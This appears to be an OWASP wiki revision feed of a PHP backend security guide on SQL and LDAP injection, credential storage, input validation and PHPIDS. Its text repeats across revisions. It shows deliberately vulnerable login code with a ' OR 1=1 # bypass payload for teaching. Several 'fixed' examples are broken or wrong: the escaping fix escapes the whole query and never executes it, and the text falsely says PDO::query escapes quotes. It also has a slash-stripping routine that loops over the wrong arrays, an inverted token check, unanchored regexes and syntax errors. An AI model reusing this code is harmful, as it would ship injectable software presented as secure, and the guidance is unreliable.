?><br />
</nowiki><br />
<br />
PHP Portable Data Objects emulate prepared statements for drivers with no natively supports. Here follows an example of prepared statements usage with PHP PDO<br />
<br />
<br />
'''Example using PDO:'''<br />
<nowiki><br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$oPdo = SQLConnect();<br />
<br />
if ($oPdo) {<br />
$stmt = $oPdo->prepare("SELECT * FROM books WHERE ID =?");<br />
$stmt->bindParam(1, $id, PDO::PARAM_INT);<br />
if ($smmt->execute()) {<br />
$aBook = $stmt->fetch(PDO::FETCH_ASSOC);<br />
}<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
</nowiki><br />
<br />
=== Data Validation ===<br />
<br />
Modern WEB Applications are supposed to interacts with users throught input data. Input data can be supplied through a HTML Form and WEB Application retrieves such a data through a GET/POST variable. Input data can contains malicious values to exploit some<br />
security flaws in WEB Applications. As a general rule data validation should be performed on both input and output values, since they both depends on each other. data should be rejected unless it matches a criteria. Developers should define a restriced range for valid data and reject everything else. Such a criteria will include:<br />
* Data Type <br />
* Data Length;<br />
* Data Value <br />
<br />
A typical Data Validation workflow will be:<br />
* Get the data to be validated<br />
* Check if it should be a numerical or string <br />
* Look at it's size in byte to avoid errors when database table columns has some constraint in value size<br />
* Check if data contains a valid value (EMail, phone number, date, and so on).<br />
<br />
To this aims PHP can help developers with :<br />
* casting operators<br />
* regexp functions<br />
<br />
<br />
<br />
'''Numeric Data'''<br />
<br />
PHP is not a strongly typed languages it means that every input data is a string by default. If you want to validate a numeric value you should casting operator. Casting an input data to ''int'' ensure that:<br />
<br />
* if data is numeric you get its value<br />
* if data doesn't contains a number casting will returns 0<br />
* if data includes a number casting will returns its numeric portion<br />
<br />
'''Example'''<br />
<br />
<nowiki><br />
...<br />
$iId = (int)$_GET['id'];<br />
if ( $iId != $_GET['id']) {<br />
/* User supplied data is not numeric, handle exception */<br />
...<br />
return;<br />
} <br />
<br />
if ($iId > MAX_ID_VALUE || $iId < MIN_ID_VALUE) {<br />
/* User supplied data is numerica but it doesn't contains an allowed value, handle exception */<br />
<br />
}<br />
<br />
/* $iId is safe */<br />
<br />
<br />
</nowiki><br />
<br />
<br />
<br />
''' String Data'''<br />
<br />
Strings data validation is a bit tricker since it can contains malicious values. It means that it should be validated<br />
on what data is supposed to include. Data can contains:<br />
* EMail Address<br />
* Phone Number<br />
* URL<br />
* Name<br />
* Date<br />
<br />
and so on.<br />
<br />
To this aim WEB Developers should match Input Data against a Regular Expression to match what Data is supposed to inclues.<br />
Here follows some example.<br />
<br />
'''Example: Validating an Email Address'''<br />
<br />
<nowiki><br />
...<br />
$sEmail = $_POST['email'];<br />
if (! preg_match("/^[\w-]+(?:\.[\w-]+)*@(?:[\w-]+\.)+[a-zA-Z]{2,7}$/", $sEmail)) {<br />
/* User supplied data is not a valid email address, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
/* $sEmail is safe, check len */<br />
<br />
if (strlen($sEmail) > MAX_EMAIL_LEN) {<br />
/* User supplied data is to big for backend database, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
<br />
<br />
</nowiki><br />
<br />
<br />
'''Example: Validating an Italian Phone Number '''<br />
<nowiki><br />
...<br />
$sPhoneNumber = $_POST['phonenumber'];<br />
<br />
if (! preg_match(, "/[0-9]+[-\/ ]?[0-9]+$/", $sPhoneNumber)) {<br />
/* User supplied data is not a phone number, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
/* $sPhoneNumber is safe, check len */<br />
<br />
if (strlen($sPhoneNumber) > MAX_PHONENUMBER_LEN) {<br />
/* User supplied data is to big for backend database, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
<br />
</nowiki><br />
<br />
<br />
<br />
<br />
''' OWASP PHP Filters'''<br />
<br />
OWASP PHP Filters project allow programmers an easy way to perform data validation. Even if project is quite old and not <br />
well mantained it's still well working and defines a valid approach to performa Data Validation.<br />
<br />
=== Logging Errors ===<br />
<br />
Malicious users typicaly attempt to explot SQL Injection Vulnerabilities by looking at some Error Codes on dynamic pages.<br />
When PHP fails to query Backend Database an error message will be returned to users if error are not handled on a safe way.<br />
WEB Developers uncorrectly debug SQL Errors by displaying some kind of error message on WEB Page when query fails. This approach should not be considered safe since Errors should never be displayed to users.<br />
<br />
Users should also never deduce that something wrong happens otherwise it could be considered a flaw to further more exploits a vulnerability. To this aim we're going to how to safely handle errors.<br />
<br />
<nowiki><br />
function unavailable_resource_handler() {<br />
/* Handle an 'Unavailable Resource' event without supplying further information to user <br />
*<br />
* Example:<br />
* die('Resource not available');<br />
* <br />
*<br />
*/<br />
..<br />
..<br />
<br />
}<br />
<br />
function sql_error_handler ($sQuery, $sMsg) {<br />
/* Log failed SQL Query statement */<br />
error_log ($sQuery, 3, "/var/log/site/sqlquery_error.log");<br />
<br />
/* Log error message */<br />
error_log ($sMsg, 3, "/var/log/site/site_error.log");<br />
<br />
/* Notify user that resource is unavailable */<br />
unavailable_resource_handler();<br />
}<br />
<br />
</nowiki><br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication ===<br />
<br />
A typical LDAP Authentication form looks as follow:<br />
<br />
<nowiki> <br />
function authLdap($sUsername, $sPassword) {<br />
$ldap_ch=ldap_connect("ldap://localhost"); <br />
<br />
if ($ldap_ch) {<br />
<br />
$ldap_user = "uid=$sUsername, ou=Utenti, dc=domain, dc= com";<br />
$ldap_password = $sPassword;<br />
<br />
$bind = @ldap_bind($ldap_ch, $ldap_user, $ldap_password);<br />
<br />
return $bind;<br />
<br />
}<br />
<br />
return FALSE;<br />
<br />
}<br />
<br />
$sUsername = $_GET['username'];<br />
$sPassword = $_GET['password'];<br />
<br />
$bIsAuth=authLdap($sUsername, $sPassword);<br />
<br />
if (! $bIsAuth ) {<br />
/* Unauthorized access, handle exception */<br />
...<br />
...<br />
} <br />
<br />
/* User has been succesfull authenticated */<br />
<br />
<br />
</nowiki><br />
<br />
As you can see LDAP Injection can occours if user supplied credentials are not validated. Due to it's definition the only way to be protected against LDAP Injection is to perform Data Validation.<br />
<br />
=== Data Validation ===<br />
<br />
Data Validation occours on the same way as in PHP Preventing SQL Injection. Here follows previous LDAP Login Form example with data validation, where both ''username'' and ''password'' are allowed to contains only alfa numeric values.<br />
<br />
<nowiki><br />
$sUsername = $_GET['username'];<br />
$sPassword = $_GET['password'];<br />
<br />
if (! preg_match("/[a-zA-Z0-9]+$/", $username) {<br />
/* username doesn't contains valid characters, handle exception */<br />
..<br />
..<br />
return;<br />
}<br />
<br />
if (! preg_match("/[a-zA-Z0-9]+$/", $password) {<br />
/* password doesn't contains valid characters, handle exception */<br />
..<br />
..<br />
return;<br />
}<br />
<br />
<br />
<br />
<br />
$bIsAuth=authLdap($sUsername, $sPassword);<br />
<br />
if (! $bIsAuth ) {<br />
/* Unauthorized access, handle exception */<br />
...<br />
...<br />
} <br />
<br />
/* User has been succesfull authenticated */<br />
<br />
<br />
</nowiki><br />
<br />
=== Logging Errors ===<br />
<br />
As in PHP Preventing SQL Injection we're going to define a safe way to handle LDAP Errors. An previously stated incorrect error handling may raise ''Information Disclousure'' vulnerbality and a malicious user may furthermore exploit this vulnerability to perform some kind of a attack.<br />
<br />
<br />
<nowiki><br />
function unavailable_resource_handler() {<br />
/* Handle an 'Unavailable Resource' event without supplying further information to user <br />
*<br />
* Example:<br />
* die('Resource not available');<br />
* <br />
*<br />
*/<br />
..<br />
..<br />
<br />
}<br />
<br />
function ldap_error_handler ($sQuery, $sMsg) {<br />
/* Log failed LDAP Query statement */<br />
error_log ($sQuery, 3, "/var/log/site/ldapquery_error.log");<br />
<br />
/* Log error message */<br />
error_log ($sMsg, 3, "/var/log/site/site_error.log");<br />
<br />
/* Notify user that resource is unavailable */<br />
unavailable_resource_handler();<br />
}<br />
<br />
</nowiki><br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
PHPIDS (PHP-Intrusion Detection System) is a well mantained and fast security layer for PHP based web application. It allows to embed a WEB Application IDS into a PHP WEB Application. It performs a transparent Input Data Validation on each HTTP Request to look forward for Malicious Input. It means that Developer shouldn't explicitly analyze and thrust Input Data. PHP IDS will automatically look for exploit attempts. PHPIDS simply recognizes when an attacker tries to break your WEB Application and let you decide how to reacts. <br />
<br />
To install PHPIDS:<br />
* download and unpack in your application or include folder.<br />
* open phpids/lib/IDS/Config/Config.ini file and edit the following element to reflect PHPIDS complete installation path:<br />
*: filter_path<br />
*: tmp_path<br />
*: path in both Logging and Caching section<br />
<br />
<br />
Here is a typical usage of PHPIDS:<br />
<br />
<br />
'''init_ids.php'''<br />
<nowiki><br />
<?php<br />
<br />
set_include_path(get_include_path() . PATH_SEPARATOR . './lib/');<br />
require_once 'IDS/Init.php';<br />
<br />
function phpIDSInit() {<br />
$request = array( <br />
'REQUEST' => $_REQUEST, <br />
'GET' => $_GET,<br />
'POST' => $_POST, <br />
'COOKIE' => $_COOKIE<br />
);<br />
<br />
$init = IDS_Init::init('./lib/IDS/Config/Config.ini');<br />
$ids = new IDS_Monitor($request, $init);<br />
<br />
return $ids->run();<br />
<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''main.php'''<br />
<nowiki><br />
<?php<br />
<br />
require_once './init_ids.php';<br />
$sIDSAlert = phpIDSInit();<br />
<br />
if ($sIDSAlert) {<br />
/* PHPIDS raise an alert, handle exception */<br />
....<br />
....<br />
die()<br />
}<br />
<br />
/* PHPIDS determined that request is safe */<br />
...<br />
...<br />
<br />
<br />
?><br />
<br />
</nowiki><br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =<br />
<br />
* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project<br />
* OWASP : "OWASP PHP Filters" - http://www.owasp.org/index.php/OWASP_PHP_Filters<br />
* OWASP : "OWASP PHP Project" - http://www.owasp.org/index.php/Category:OWASP_PHP_Project<br />
* PHP : "MySQL Improved Extension" - http://it2.php.net/manual/en/book.mysqli.php<br />
* Ilia Alshanetsky : "architect's Guide to PHP Security" - http://dev.mysql.com/tech-resources/articles/guide-to-php-security-ch3.pdf<br />
* PHPIDS : http://php-ids.org/</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_PHP_Security_Programming&diff=34356OWASP Backend Security Project PHP Security Programming2008-07-20T14:41:28Z<p>Dbellucci: </p>
<hr />
<div>= Overview =<br />
<br />
<br />
== Example 1 ==<br />
<br />
Here follows a tipical Login Forms to authenticate user. Credentials are retrieved on a backend Database by using connection parameters stored in a ''.inc'' file.<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./db.inc');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
<br />
}<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
<br />
'''db.inc'''<nowiki><br />
<br />
<?php<br />
<br />
define('DB_HOST', "localhost");<br />
define('DB_USERNAME', "user");<br />
define('DB_PASSWORD', "password");<br />
define('DB_DATABASE', "owasp");<br />
<br />
<br />
function iMysqlConnect(){<br />
$link = mysql_connect(DB_HOST,<br />
DB_USERNAME,<br />
DB_PASSWORD);<br />
<br />
if ($link && mysql_select_db(DB_DATABASE))<br />
return $link;<br />
return FALSE;<br />
}<br />
<br />
?></nowiki><br />
<br />
The above example has two vulnerability:<br />
<br />
* '''Authentication Bypass'''<br />
*: by exploiting a SQL Injection vulnerability Authentication you can authenticate as :<br />
*:: <nowiki>username ' OR 1=1 #</nowiki><br />
*:: <nowiki>password </nowiki>''anything''<br />
* '''Information Disclosure'''<br />
*: an attacker may retrieve ''db.inc'' on unproper configured WEB Server<br />
<br />
== Example 2 ==<br />
<br />
The following sample code cames from a online book catalog.<br />
<br />
'''getbook.php''' <nowiki><br />
<br />
<br />
function aGetBookEntry($id) {<br />
$aBookEntry = NULL;<br />
$link = iMysqlConnect();<br />
<br />
$query = "SELECT * FROM books WHERE id = $id";<br />
$result = mysql_query($query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_array($result)) {<br />
$aBookEntry = $row;<br />
}<br />
}<br />
return $aBookEntry;<br />
}<br />
<br />
....<br />
$id = $_GET['id'];<br />
$aBookEntry = aGetBookEntry($id);<br />
<br />
/* Display retrieved book information */<br />
...<br />
...<br />
<br />
</nowiki><br />
<br />
The above example is vulnerable to ''Blind SQL Injection'' attack. An attacker exploiting this vulnerability may backup all Database, or interact with DBMS underlying Operating System.<br />
<br />
= Description =<br />
<br />
== PHP preventing SQL Injection ==<br />
<br />
When talking about preventing SQL Injection in PHP we shall take in consideration whatever to use old Database connector of newset ''PHP Portable Data Objects'' interface. To this aim will take in consideration both of them since:<br />
* PHP PDO has been introduced in PHP 5.1<br />
* PHP PDO represents a Database abstract layer<br />
* Experienced developers may want to develop a custom Abstract Layer for theire demand<br />
<br />
Reader should be aware that at the moment PDO OCI used as a Oracle Driver is experimental.<br />
<br />
<br />
<br />
=== DBMS authentication credentials ===<br />
<br />
When working with a DBMS through an authenticated connection application developers should be very carefull on how, and subsequently where, store authentication credentials to query such a backend engine. A configuration file with ''.inc'' extension should be avoided if left world wide readable by a web server since it's content can be easy retrieved. Such issue can be avoided by :<br />
<br />
* Denying remote access to ''.inc'' files <br />
<nowiki><br />
<Files ~ “\.inc$”><br />
Order allow,deny<br />
Deny from all<br />
</Files><br />
</nowiki><br />
<br />
: ''requires user intervention on Apache configuration!''<br />
<br />
<br />
* Adding a security token <br />
<nowiki><br />
<?php<br />
<br />
if (defined('SECURITY_INCLUDE_TOKEN') && SECURITY_INCLUDE_TOKEN != 'WfY56#!5150'){<br />
define ('DBMS_CONNECTION_STRING','mysql://owaspuser:owasppassword@localhost:3306');<br />
....<br />
}<br />
</nowiki><br />
<br />
<nowiki><br />
<?php<br />
define('SECURITY_INCLUDE_TOKEN', 'WfY56#!5150');<br />
include 'dbms_handler.php';<br />
..<br />
?><br />
</nowiki><br />
<br />
<br />
* configuring ''php_ini'' settings in apache<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
php_value mysql.default_host 127.0.0.1<br />
php_value mysql.default_user owaspuser<br />
php_value mysql.default_password owasppassword<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect();<br />
<br />
}<br />
?> </nowiki><br />
: ''at the moment of write it only works when backend Database Engine is MySQL''<br />
<br />
<br />
* using Apache SetEnv directive<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv DBHOST "127.0.0.1"<br />
SetEnv DBUSER "owaspuser"<br />
SetEnv DBPASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function iMySQLConnect() {<br />
return mysql_connect(getenv("DBHOST"),<br />
getenv("DBUSER"),<br />
getenv("DBPASS"));<br />
}<br />
?><br />
<br />
<br />
</nowiki><br />
: ''requires user intervention on Apache configuration''<br />
<br />
<br />
Wich one to use is up to you. You should take into account whetever a user interventation is needed on WEB Server or not and if you want to guarantee application portability as well between different DB Backend Engine.<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''/etc/apache2/sites-enabled/000-owasp''' <nowiki><br />
<br />
<VirtualHost *><br />
DocumentRoot /var/www/apache2/<br />
SetEnv PDO_DSN "mysql:host=localhost;dbname=owasp"<br />
SetEnv PDO_USER "owaspuser"<br />
SetEnv PDO_PASS "owasppassword"<br />
<br />
....<br />
....<br />
....<br />
</VirtualHost><br />
</nowiki><br />
<br />
<br />
<br />
'''dbmshandler.php''' <nowiki><br />
<br />
<?php<br />
function SQLConnect() {<br />
$oPdo = NULL;<br />
try {<br />
$oPdo = new PDO(getenv("PDO_DSN"),<br />
getenv("PDO_USER"),<br />
getenv("PDO_PASS"));<br />
<br />
/* Throws an exception when subsequent errors occour */<br />
$oPdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);<br />
<br />
/* handle PDO connection success */<br />
...<br />
...<br />
return $oPdo;<br />
} catch (PDOException $e) {<br />
/* handle PDO connection error */<br />
...<br />
...<br />
return NULL;<br />
}<br />
} <br />
?><br />
<br />
<br />
</nowiki><br />
<br />
=== Escaping Quotes ===<br />
<br />
''magic_quotes_gpc'' escapes quotes from HTTP Request by examing both GET/POST data and Cookie value. The truth is that any other data in HTTP Request isn't escaped and an evil user may attempt to exploit a SQL Injection vulnerability on other HTTP Request data such as User-Agent value. Another drawback is that while it performs well on MySQL (as example) it doesn't works with Microsoft SQL Server where single quote should be escaped with '''<nowiki>'''</nowiki>''' rather than '''<nowiki>\'</nowiki>'''<br />
<br />
Since every application should be portable across WEB Servers we want to rollaback from ''magic_quotes_gpc'' each time a ''php'' script is running on WEB Server:<br />
<br />
<nowiki><br />
function magic_strip_slashes() {<br />
if (get_magic_quotes()) {<br />
<br />
// GET<br />
if (is_array($_GET)) {<br />
foreach ($_GET as $key => $value) {<br />
$_GET[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// POST<br />
if (is_array($_POST)) {<br />
foreach ($_GET as $key => $value) {<br />
$_POST[$key] = stripslashes($value);<br />
}<br />
}<br />
<br />
// COOKIE<br />
if (is_array($_COOKIE)) {<br />
foreach ($_GET as $key => $value) {<br />
$_COOKIE[$key] = stripslashes($value);<br />
}<br />
}<br />
}<br />
}<br />
</nowiki><br />
<br />
<br />
and use a DBMS related function to escape quotes such as:<br />
* MySQL: ''mysql_real_escape_string''<br />
* PostgreSQL: ''pg_escape_string''<br />
<br />
<nowiki><br />
function sEscapeString($sDatabase, $sQuery) {<br />
$sResult=NULL;<br />
<br />
switch ($sDatabase) {<br />
case "mysql":<br />
$sResult = mysql_real_escape_string($sQuery);<br />
break;<br />
<br />
case "postgresql":<br />
$sResult = pg_escape_string($sQuery);<br />
break;<br />
<br />
case "mssql":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
<br />
case "oracle":<br />
$sResult = str_replace("'", "''",$sQuery);<br />
break;<br />
}<br />
<br />
return $sResult;<br />
}<br />
}<br />
</nowiki><br />
<br />
Since both Oracle and Microsoft SQL Server connectors doesn't have a real ''escape_string'' function software developer can create his own escapeing functions or use ''addslasshes()''.<br />
<br />
With properly quotes escaping we can prevent Authentication Bypass vulnerability in Example 1:<br />
<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php);<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName="";<br />
if ($link = iMysqlConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
/* escape quotes */<br />
$result = sEscapeString("mysql", $query);<br />
<br />
if ($result) {<br />
if ($row = mysql_fetch_row($result)) {<br />
$authenticatedUserName = $row[0];<br />
}<br />
}<br />
}<br />
<br />
return $authenticatedUserName;<br />
}<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
PHP Portable Data Objects implements a quote() method on PDO class but it's worst noticing that not all underlying PDO Drivers implements this method. On the other side ''PDO::query()'' method by defualt escape quotes on SQL query string as shown in following example.<br />
<br />
<br />
'''Example using PDO MySQL driver:'''<br />
<br />
'''auth.php'''<nowiki><br />
<br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function sAuthenticateUser($username, $password){<br />
$authenticatedUserName=NULL;<br />
if ($oPdo = SQLConnect()) {<br />
<br />
$query = "SELECT username FROM users";<br />
$query .= " WHERE username = '".$username."'";<br />
$query .= " AND password = md5('".$password."')";<br />
<br />
try {<br />
$row = $oPdo->query($query)->fetch();<br />
if ($row) {<br />
return $row['username'];<br />
} <br />
} catch (PDOException e) {<br />
/* handle execption and SQL Injection Attempt */<br />
....<br />
....<br />
return NULL;<br />
} <br />
}<br />
<br />
<br />
/* start by rollback magic_quotes_gpc action (if any) */<br />
<br />
magic_strip_slashes();<br />
<br />
<br />
if ($sUserName = sAuthenticateUser($_POST["username"], <br />
$_POST["password"])) {<br />
<br />
/* successfull authentication code goes here */<br />
...<br />
...<br />
} else {<br />
<br />
/* unsuccessfull authentication code goes here */<br />
...<br />
...<br />
}<br />
<br />
</nowiki><br />
<br />
=== Prepared Statements ===<br />
<br />
Prepared Statements is the ability to preparse and generate an execution plan for SQL Queries. Such an execution plan will be instantiated with typed parameters. If params are of incorrect type or contains a nested query the execution of plan will fails.<br />
<br />
<nowiki><br />
<?php<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$link = mysqli_connect();<br />
<br />
$stmt = $link->stmt_init();<br />
if ($stmt->prepare("SELECT * FROM books WHERE ID =?")) {<br />
$stmt->bind_param("i",$id);<br />
$stmt->execute();<br />
<br />
/* Retrieves book entry and fill $aBook array */<br />
...<br />
...<br />
<br />
/* Free prepared statement allocated resources */<br />
$stmt->close();<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
<br />
/* MAIN */<br />
<br />
/* Cast GET 'id' variable to integer */<br />
$iID = (int)$_GET['id'];<br />
<br />
$aBookEntry = getBookByID($iID);<br />
<br />
if ($aBookEntry) {<br />
/* Display retrieved book entry */<br />
...<br />
...<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
PHP Portable Data Objects emulate prepared statements for drivers with no natively supports. Here follows an example of prepared statements usage with PHP PDO<br />
<br />
<br />
'''Example using PDO:'''<br />
<nowiki><br />
<?php<br />
include('./dbmshandler.php');<br />
<br />
function getBookByID($id) {<br />
$aBook = NULL;<br />
$oPdo = SQLConnect();<br />
<br />
if ($oPdo) {<br />
$stmt = $oPdo->prepare("SELECT * FROM books WHERE ID =?");<br />
$stmt->bindParam(1, $id, PDO::PARAM_INT);<br />
if ($smmt->execute()) {<br />
$aBook = $stmt->fetch(PDO::FETCH_ASSOC);<br />
}<br />
}<br />
<br />
return $aBook;<br />
<br />
} <br />
</nowiki><br />
<br />
=== Data Validation ===<br />
<br />
Modern WEB Applications are supposed to interacts with users throught input data. Input data can be supplied through a HTML Form and WEB Application retrieves such a data through a GET/POST variable. Input data can contains malicious values to exploit some<br />
security flaws in WEB Applications. As a general rule data validation should be performed on both input and output values, since they both depends on each other. data should be rejected unless it matches a criteria. Developers should define a restriced range for valid data and reject everything else. Such a criteria will include:<br />
* Data Type <br />
* Data Length;<br />
* Data Value <br />
<br />
A typical Data Validation workflow will be:<br />
* Get the data to be validated<br />
* Check if it should be a numerical or string <br />
* Look at it's size in byte to avoid errors when database table columns has some constraint in value size<br />
* Check if data contains a valid value (EMail, phone number, date, and so on).<br />
<br />
To this aims PHP can help developers with :<br />
* casting operators<br />
* regexp functions<br />
<br />
<br />
<br />
'''Numeric Data'''<br />
<br />
PHP is not a strongly typed languages it means that every input data is a string by default. If you want to validate a numeric value you should casting operator. Casting an input data to ''int'' ensure that:<br />
<br />
* if data is numeric you get its value<br />
* if data doesn't contains a number casting will returns 0<br />
* if data includes a number casting will returns its numeric portion<br />
<br />
'''Example'''<br />
<br />
<nowiki><br />
...<br />
$iId = (int)$_GET['id'];<br />
if ( $iId != $_GET['id']) {<br />
/* User supplied data is not numeric, handle exception */<br />
...<br />
return;<br />
} <br />
<br />
if ($iId > MAX_ID_VALUE || $iId < MIN_ID_VALUE) {<br />
/* User supplied data is numerica but it doesn't contains an allowed value, handle exception */<br />
<br />
}<br />
<br />
/* $iId is safe */<br />
<br />
<br />
</nowiki><br />
<br />
<br />
<br />
''' String Data'''<br />
<br />
Strings data validation is a bit tricker since it can contains malicious values. It means that it should be validated<br />
on what data is supposed to include. Data can contains:<br />
* EMail Address<br />
* Phone Number<br />
* URL<br />
* Name<br />
* Date<br />
<br />
and so on.<br />
<br />
To this aim WEB Developers should match Input Data against a Regular Expression to match what Data is supposed to inclues.<br />
Here follows some example.<br />
<br />
'''Example: Validating an Email Address'''<br />
<br />
<nowiki><br />
...<br />
$sEmail = $_POST['email'];<br />
if (! preg_match("/^[\w-]+(?:\.[\w-]+)*@(?:[\w-]+\.)+[a-zA-Z]{2,7}/", $sEmail)) {<br />
/* User supplied data is not a valid email address, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
/* $sEmail is safe, check len */<br />
<br />
if (strlen($sEmail) > MAX_EMAIL_LEN) {<br />
/* User supplied data is to big for backend database, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
<br />
<br />
</nowiki><br />
<br />
<br />
'''Example: Validating an Italian Phone Number '''<br />
<nowiki><br />
...<br />
$sPhoneNumber = $_POST['phonenumber'];<br />
<br />
if (! preg_match(, "/[0-9]+[-\/ ]?[0-9]+/", $sPhoneNumber)) {<br />
/* User supplied data is not a phone number, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
/* $sPhoneNumber is safe, check len */<br />
<br />
if (strlen($sPhoneNumber) > MAX_PHONENUMBER_LEN) {<br />
/* User supplied data is to big for backend database, handle exception */<br />
...<br />
return;<br />
}<br />
<br />
<br />
</nowiki><br />
<br />
<br />
<br />
<br />
''' OWASP PHP Filters'''<br />
<br />
OWASP PHP Filters project allow programmers an easy way to perform data validation. Even if project is quite old and not <br />
well mantained it's still well working and defines a valid approach to performa Data Validation.<br />
<br />
=== Logging Errors ===<br />
<br />
Malicious users typicaly attempt to explot SQL Injection Vulnerabilities by looking at some Error Codes on dynamic pages.<br />
When PHP fails to query Backend Database an error message will be returned to users if error are not handled on a safe way.<br />
WEB Developers uncorrectly debug SQL Errors by displaying some kind of error message on WEB Page when query fails. This approach should not be considered safe since Errors should never be displayed to users.<br />
<br />
Users should also never deduce that something wrong happens otherwise it could be considered a flaw to further more exploits a vulnerability. To this aim we're going to how to safely handle errors.<br />
<br />
<nowiki><br />
function unavailable_resource_handler() {<br />
/* Handle an 'Unavailable Resource' event without supplying further information to user <br />
*<br />
* Example:<br />
* die('Resource not available');<br />
* <br />
*<br />
*/<br />
..<br />
..<br />
<br />
}<br />
<br />
function sql_error_handler ($sQuery, $sMsg) {<br />
/* Log failed SQL Query statement */<br />
error_log ($sQuery, 3, "/var/log/site/sqlquery_error.log");<br />
<br />
/* Log error message */<br />
error_log ($sMsg, 3, "/var/log/site/site_error.log");<br />
<br />
/* Notify user that resource is unavailable */<br />
unavailable_resource_handler();<br />
}<br />
<br />
</nowiki><br />
<br />
== PHP preventing LDAP Injection ==<br />
<br />
=== LDAP Authentication Credentials ===<br />
<br />
=== Data Validation ===<br />
<br />
=== Logging Errors ===<br />
<br />
== Detecting Intrusions from WEBAPP ==<br />
<br />
PHPIDS (PHP-Intrusion Detection System) is a well mantained and fast security layer for PHP based web application. It allows to embed a WEB Application IDS into a PHP WEB Application. It performs a transparent Input Data Validation on each HTTP Request to look forward for Malicious Input. It means that Developer shouldn't explicitly analyze and thrust Input Data. PHP IDS will automatically look for exploit attempts. PHPIDS simply recognizes when an attacker tries to break your WEB Application and let you decide how to reacts. <br />
<br />
To install PHPIDS:<br />
* download and unpack in your application or include folder.<br />
* open phpids/lib/IDS/Config/Config.ini file and edit the following element to reflect PHPIDS complete installation path:<br />
*: filter_path<br />
*: tmp_path<br />
*: path in both Logging and Caching section<br />
<br />
<br />
Here is a typical usage of PHPIDS:<br />
<br />
<br />
'''init_ids.php'''<br />
<nowiki><br />
<?php<br />
<br />
set_include_path(get_include_path() . PATH_SEPARATOR . './lib/');<br />
require_once 'IDS/Init.php';<br />
<br />
function phpIDSInit() {<br />
$request = array( <br />
'REQUEST' => $_REQUEST, <br />
'GET' => $_GET,<br />
'POST' => $_POST, <br />
'COOKIE' => $_COOKIE<br />
);<br />
<br />
$init = IDS_Init::init('./lib/IDS/Config/Config.ini');<br />
$ids = new IDS_Monitor($request, $init);<br />
<br />
return $ids->run();<br />
<br />
}<br />
<br />
?><br />
</nowiki><br />
<br />
'''main.php'''<br />
<nowiki><br />
<?php<br />
<br />
require_once './init_ids.php';<br />
$sIDSAlert = phpIDSInit();<br />
<br />
if ($sIDSAlert) {<br />
/* PHPIDS raise an alert, handle exception */<br />
....<br />
....<br />
die()<br />
}<br />
<br />
/* PHPIDS determined that request is safe */<br />
...<br />
...<br />
<br />
<br />
?><br />
<br />
</nowiki><br />
<br />
== Defeating Automated Tools ==<br />
<br />
= References =<br />
<br />
* OWASP : "OWASP Guide Project" - http://www.owasp.org/index.php/OWASP_Guide_Project<br />
* OWASP : "OWASP PHP Filters" - http://www.owasp.org/index.php/OWASP_PHP_Filters<br />
* OWASP : "OWASP PHP Project" - http://www.owasp.org/index.php/Category:OWASP_PHP_Project<br />
